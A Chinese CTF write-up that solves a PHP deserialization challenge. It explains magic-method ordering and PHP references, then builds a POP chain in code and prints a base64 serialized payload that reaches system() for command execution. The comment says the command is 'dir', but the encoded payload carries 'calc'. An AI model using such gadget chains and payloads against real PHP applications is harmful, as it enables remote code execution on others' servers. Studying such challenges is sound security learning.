- 使用引用
&
来给变量赋值 - php反序列化
这道题打的时候没做出来,赛后看了别人的wp,看到是用引用来赋值,就自己复现出来了。
源码
<?php
class KeyPort {
public function __call($name, $arguments)
{
if(!isset($this->wakeup)||!$this->wakeup){
call_user_func_array($this->format[$name],$arguments);
}
}
public function finish(){
$this->format=array();
return $this->finish->iffinish;
}
public function __wakeup(){
$this->wakeup=True;
}
}
class ArrayObj{
private $iffinish;
public $name;
public function __get($name){
return $this->$name=$this->name[$name];
}
}
class SunCorpa {
public function __destruct()
{
if ($this->process->finish()) {
$this->process->forward($this->_forward);
}
}
}
class MoonCorpa {
public function __destruct()
{
if ($this->process->finish()) {
$this->options['new']->forward($this->_forward);
}
}
public function __wakeup(){
}
}
if($_GET['u']){
unserialize(base64_decode($_GET['u']));
}else{
highlight_file(__FILE__);
}
首先要先了解一点基本知识
基本知识
1.魔法函数__destruct()、__wakeup()
__destruct
拥有这个的类的对象在反序列化时,会先执行此对象的__destruct
再执行此对象的成员属性的值的__destruct
即先执行外层再执行内层
__wakeup
拥有这个的类的对象在反序列化时,会先执行对象的成员属性的值的__wakeup
再执行此对象的__wakeup
即先执行内层再执行外层
eg:
class A{
public $c;
public function __destruct(){
echo 'A',PHP_EOL;
}
public function __wakeup(){
echo 'a',PHP_EOL;
}
}
class SampleClass {
public $a;
public function __destruct(){
echo 'S',PHP_EOL;
}
public function __wakeup(){
echo 's',PHP_EOL;
}
}
//$a=new SampleClass();
//$a->a=new A;
$a='O:11:"SampleClass":1:{s:1:"a";O:1:"A":1:{s:1:"c";N;}}';
unserialize($a);
输出
a
s
S
A
2.php引用&赋值
在php中可以使用引用的方式来让两个变量名指向同一个内存地址,这样在对一个变量进行操作的时候,另一个变量的值也会变
在函数中使用引用参数来修改传入参数的值
eg:
function test (&$a){
$x=&$a;
$x='123';
}
$x='11';
test($x);
echo $x;
输出
123
可以看见,函数外部的变量值也发生了改变
3.魔法函数__get、__call
__get
当类的成员属性被设定为 private 后,如果在类外部访问这个成员属性,那么就会触发__get()
访问不存在的成员属性也会触发__get
eg:
class C{
private $a;
public function __get($name){
echo $name;
}
}
$c=new C;
echo $c->a;
echo $c->b;
输出
ab
__call
PHP5 的对象新增了一个专用方法 __call(),这个方法用来监视一个对象中的其它方法。如果你试着调用一个对象中不存在或被权限控制中的方法,__call 方法将会被自动调用。
<?php
class foo {
function __call($name,$arguments) {
print("Did you call me? I'm $name!");
}
} $x = new foo();
$x->doStuff();
$x->fancy_stuff();
?>
//Did you call me? I'm doStuff!Did you call me? I'm fancy_stuff!
代码审计
只看到了call_user_func_array
可以利用
关键在于如何进入__call且通过这个判断
if(!isset($this->wakeup)||!$this->wakeup)
要么不给wakeup赋值,要么控制wakeup为false
在反序列化后,会对KeyPort对象的wakeup进行赋值
所以通过引用来在__wakeup执行后还能对wakeup进行赋值
首先观察到有两个类可以执行__destruct
class SunCorpa {
public function __destruct()
{
if ($this->process->finish()) {
$this->process->forward($this->_forward);
}
}
}
class MoonCorpa {
public function __destruct()
{
if ($this->process->finish()) {
$this->options['new']->forward($this->_forward);
}
}
public function __wakeup(){
}
}
且都执行$this->process->finish()
,只是函数代码不同
可以先让一个返回false,另一个返回正常值
我们选择让SunCorpa的$this->process->finish()
返回false
这里使用构造器的方式弄链子,否则有点麻烦
POP
class KeyPort {}
class MoonCorpa {}
class ArrayObj{
private $iffinish;
public $name;
public function __construct(&$a)
{
$this->iffinish=&$a;
}
}
class SunCorpa {
public function __construct(){
//第一部分,给wakeup赋值false
$key=new KeyPort;
$arr=new ArrayObj($key->wakeup);//使用这个方式让ArrayObj::iffinish引用wakeup,因为在后面会给ArrayObj::iffinish赋值,这样KeyPort::wakeup也会变
$arr->name=array('iffinish'=>false);
$this->key=$key;
$this->arr=$arr;
$this->process=$this->key;
$this->key->finish=$arr;
//第一部分结束,$this->key->wakeup被赋值为false
//第二部分,因为在执行KetPort::finish()时,其format会被赋值为空数组,导致无法执行我们想要的函数,所以使用引用的方法来给format赋值
$key2=new KeyPort();
$moon=new MoonCorpa();//使用这个类的__destruct来进入到KeyPort的__call函数
$this->moon=$moon;//让MoonCorpa对象成为此对象的成员
$this->key2=$key2;
$this->moon->process=$key2;
$arr2=new ArrayObj($key->format);//让ArrayObj::iffinish引用$key->format
$key2->finish=$arr2;
$arr2->name=array('iffinish'=>array('forward'=>'system'));//给$key的format赋值为array('forward'=>'system')
$this->moon->options=array('new'=>&$this->key);
$this->moon->_forward='dir';//要执行的命令
}
$a=new SunCorpa();
echo base64_encode(serialize($a));
//Tzo4OiJTdW5Db3JwYSI6NTp7czozOiJrZXkiO086NzoiS2V5UG9ydCI6Mzp7czo2OiJ3YWtldXAiO047czo2OiJmaW5pc2giO086ODoiQXJyYXlPYmoiOjI6e3M6MTg6IgBBcnJheU9iagBpZmZpbmlzaCI7UjozO3M6NDoibmFtZSI7YToxOntzOjg6ImlmZmluaXNoIjtiOjA7fX1zOjY6ImZvcm1hdCI7Tjt9czozOiJhcnIiO3I6NDtzOjc6InByb2Nlc3MiO3I6MjtzOjQ6Im1vb24iO086OToiTW9vbkNvcnBhIjozOntzOjc6InByb2Nlc3MiO086NzoiS2V5UG9ydCI6MTp7czo2OiJmaW5pc2giO086ODoiQXJyYXlPYmoiOjI6e3M6MTg6IgBBcnJheU9iagBpZmZpbmlzaCI7Ujo3O3M6NDoibmFtZSI7YToxOntzOjg6ImlmZmluaXNoIjthOjE6e3M6NzoiZm9yd2FyZCI7czo2OiJzeXN0ZW0iO319fX1zOjc6Im9wdGlvbnMiO2E6MTp7czozOiJuZXciO1I6Mjt9czo4OiJfZm9yd2FyZCI7czo0OiJjYWxjIjt9czo0OiJrZXkyIjtyOjExO30=
本地执行
成功了,tmd